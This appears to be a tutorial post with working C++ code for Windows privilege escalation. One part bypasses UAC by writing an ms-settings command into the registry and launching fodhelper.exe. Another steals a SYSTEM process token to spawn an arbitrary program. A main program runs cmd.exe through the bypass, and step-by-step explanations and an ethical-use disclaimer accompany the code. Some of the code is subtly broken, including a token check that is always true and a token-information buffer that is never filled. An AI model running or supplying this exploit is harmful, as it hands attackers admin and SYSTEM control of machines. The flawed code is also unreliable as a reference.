Escalate Privileges via FodHelper.exe

Privilege Escalation Class

```
C++ Code
#include &lt;string&gt;

using namespace std;

class PrivEscalationClass{
    public:
        // Constructor
        PrivEscalationClass(){};

        // Privilege Escalation Methods
        // Run a process as admin from a user account
        bool runProcAsAdminFromUser(string procName){
            HKEY hkey;
            DWORD d;
            const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
            const char* del = "";
            bool success = false;

            // Attempt to open or create the registry key
            LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)settings, 0, NULL, 0, KEY_WRITE, NULL, &amp;hkey, &amp;d);
            if(stat != ERROR_SUCCESS){
                cout &lt;&lt; "Failed to open or create reg key\n";
                return success;
            }

            // Set the registry values (command and DelegateExecute)
            stat = RegSetValueEx(hkey, "", 0, REG_SZ, (unsigned char*)procName.c_str(), strlen(procName.c_str()));
            if(stat != ERROR_SUCCESS){
                cout &lt;&lt; "Failed to set reg value\n";
                return success;
            }

            // Set the DelegateExecute value to an empty string
            stat = RegSetValueEx(hkey, "DelegateExecute", 0, REG_SZ, (unsigned char*)del, strlen(del));
            if(stat != ERROR_SUCCESS){
                cout &lt;&lt; "Failed to set reg value: DelegateExecute\n";
                return success;
            }

            // Close the key handle
            RegCloseKey(hkey);

            SHELLEXECUTEINFO sei = { sizeof(sei) };
            sei.lpVerb = "runas";
            sei.lpFile = "C:\\Windows\\System32\\Fodhelper.exe";
            sei.hwnd = NULL;
            sei.nShow = SW_NORMAL;

            // Start the fodhelper.exe program with elevated privileges
            if (!ShellExecuteEx(&amp;sei)) {
                DWORD err = GetLastError();
                printf(err == ERROR_CANCELLED ? "The user refused to allow privilege elevation.\n" : "Unexpected error! Error code: %ld\n", err);
            } else {
                printf("Successfully created process =^..^=\n");
            }
            success = true;
            return success;
        }

        // Run a process as system from an admin account
        bool runProcAsSystemFromAdmin(string procName){
            bool success = false;
            string username;
            HANDLE hProcSnap;
            PROCESSENTRY32 pe32;
            string app;
            string userProcess;
            int pid = 0;
            hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
            pe32.dwSize = sizeof(PROCESSENTRY32);
            cout &lt;&lt; "Enter the path of the application you want to run as SYSTEM: ";
            cin &gt;&gt; app;
            wstring wapp = wstring(app.begin(), app.end());
            LPCWSTR LPCapp = wapp.c_str();

            while (Process32Next(hProcSnap, &amp;pe32)) {
                pid = pe32.th32ProcessID;
                username = GetProcessUserName(pid);
                if (username == "" || username == "NT AUTHORITY/SYSTEM") {
                    // get username of process
                    HANDLE cToken = getToken(pid);
                    if (cToken != NULL || cToken == 0){
                        success = createProcess(cToken, LPCapp);
                        if(success){
                            break;
                        }
                    }
                }
            }
            CloseHandle(hProcSnap);
            return success;
        }


        HANDLE getToken(DWORD pid) {
            string userProcess;
            HANDLE cToken = NULL;
            HANDLE ph = NULL;
            ph = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, pid);
            if (ph == NULL) {
                cToken = (HANDLE)NULL;
            } else {
                BOOL res = OpenProcessToken(ph, MAXIMUM_ALLOWED, &amp;cToken);
                if (!res) {
                    cToken = (HANDLE)NULL;
                } else {
                }
            }
            if (ph != NULL) {
                CloseHandle(ph);
            }
            return cToken;
        }

        BOOL createProcess(HANDLE token, LPCWSTR app) {
            // initialize variables
            HANDLE dToken = NULL;
            STARTUPINFOW si;
            PROCESS_INFORMATION pi;
            BOOL res = TRUE;
            ZeroMemory(&amp;si, sizeof(STARTUPINFOW));
            ZeroMemory(&amp;pi, sizeof(PROCESS_INFORMATION));
            si.cb = sizeof(STARTUPINFOW);

            res = DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &amp;dToken);
            res = CreateProcessWithTokenW(dToken, LOGON_WITH_PROFILE, app, NULL, 0, NULL, NULL, &amp;si, &amp;pi);
            return res;
        }

        string GetProcessUserName(DWORD pid) {
            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
            if (!hProcess) return "";
            HANDLE hToken = NULL;
            if (!OpenProcessToken(hProcess, TOKEN_QUERY, &amp;hToken)) {
                CloseHandle(hProcess);
                return "";
            }
            DWORD dwSize = 0;
            GetTokenInformation(hToken, TokenUser, NULL, 0, &amp;dwSize);
            PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(dwSize);
            SID_NAME_USE SidType;
            char lpName[MAX_PATH];
            DWORD dwNameSize = MAX_PATH;
            char lpDomain[MAX_PATH];
            DWORD dwDomainSize = MAX_PATH;
            if (!LookupAccountSid(NULL, pTokenUser-&gt;User.Sid, lpName, &amp;dwNameSize, lpDomain, &amp;dwDomainSize, &amp;SidType)) {
                free(pTokenUser);
                CloseHandle(hToken);
                CloseHandle(hProcess);
                return "";
            }
            string username(lpDomain);
            username += "/";
            username += lpName;
            free(pTokenUser);
            CloseHandle(hToken);
            CloseHandle(hProcess);
            return username;
        }
};
```

This C++ code defines a PrivEscalationClass class, which contains methods for privilege escalation in a Windows environment. It focuses on running processes with elevated privileges, specifically from a user account to an admin account and from an admin account to the SYSTEM account. Let's break down the key methods and their functionalities:

1. **runProcAsAdminFromUser(string procName)**:
   - This method is designed to run a process as an administrator from a user account.
   - It manipulates the Windows registry to set specific values under the `ms-settings\Shell\Open\command` registry key.
   - The `ShellExecuteEx` function is then used to execute "fodhelper.exe" with elevated privileges, effectively launching the process as an administrator.
2. **runProcAsSystemFromAdmin(string procName)**:
   - This method attempts to run a process as the SYSTEM account from an admin account.
   - It enumerates running processes using `CreateToolhelp32Snapshot` and `Process32Next` to find a suitable process to impersonate.
   - The user is prompted to enter the path of the application they want to run as SYSTEM.
   - It checks the username of each process, and if it's either empty or "NT AUTHORITY/SYSTEM," it proceeds to obtain the token of that process using `getToken`.
   - If a valid token is obtained, it calls `createProcess` to create a new process with the specified application and the impersonated token.
3. **getToken(DWORD pid)**:
   - This method attempts to obtain the access token of a process with a given PID.
   - It uses `OpenProcess` to open the target process and `OpenProcessToken` to retrieve its token.
4. **createProcess(HANDLE token, LPCWSTR app)**:
   - This method creates a new process with a specified access token.
   - It duplicates the provided token using `DuplicateTokenEx` and then uses `CreateProcessWithTokenW` to create a new process with the duplicated token.
5. **GetProcessUserName(DWORD pid)**:
   - This method retrieves the username associated with a process's token.
   - It opens the process using `OpenProcess` and its token using `OpenProcessToken`.
   - It then uses `LookupAccountSid` to get the username associated with the token's SID.

The code aims to demonstrate privilege escalation techniques and impersonation within a Windows environment. However, it's essential to emphasize that using these techniques improperly or without proper authorization can lead to serious security and legal implications. This code should only be used for educational and ethical purposes, and any real-world use should strictly adhere to ethical and legal standards.

Privilege Escalation Execution

```
C++ Code
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include "PrivEscalationClass.h"

using namespace std;

int main(){
    PrivEscalationClass privEsc;
    bool success = privEsc.runProcAsAdminFromUser("C:\\Windows\\System32\\cmd.exe");
    if(success){
        cout << "Successfully ran process as admin\n";
    } else {
        cout << "Failed to run process as admin\n";
    }
    return 0;
}
```

This C++ code serves as the main program that utilizes the PrivEscalationClass defined in a separate header file. The main purpose of this program is to demonstrate running a process as an administrator from a user account using the PrivEscalationClass methods. Here's a breakdown of what the code does:

1. **Include Header Files**:
   - The code includes several header files, including `<windows.h>` for Windows API functions, `<iostream>` for input and output operations, `<tlhelp32.h>` for process enumeration, and `"PrivEscalationClass.h"` to include the class definition for `PrivEscalationClass`.
2. **Main Function**:
   - The program's entry point is the `main` function.
3. **Instantiate `PrivEscalationClass`**:
   - It creates an instance of the `PrivEscalationClass` called `privEsc`.
4. **Privilege Escalation Attempt**:
   - It calls the `runProcAsAdminFromUser` method of the `privEsc` object.
   - The method is given the path to "C:\Windows\System32\cmd.exe" as an argument, indicating the desire to run the Command Prompt as an administrator from a user account.
5. **Success Check**:
   - It checks whether the privilege escalation attempt was successful by examining the return value of `runProcAsAdminFromUser`.
6. **Print Results**:
   - Depending on the success or failure of the privilege escalation, the program prints a corresponding message to the console.

In summary, this code is a simple demonstration of using the PrivEscalationClass to run a process as an administrator from a user account. It provides a straightforward way to test the privilege escalation code without directly modifying the class's methods. However, as mentioned previously, it's crucial to use such techniques responsibly and for ethical and educational purposes only, as unauthorized or malicious use can have legal and ethical consequences.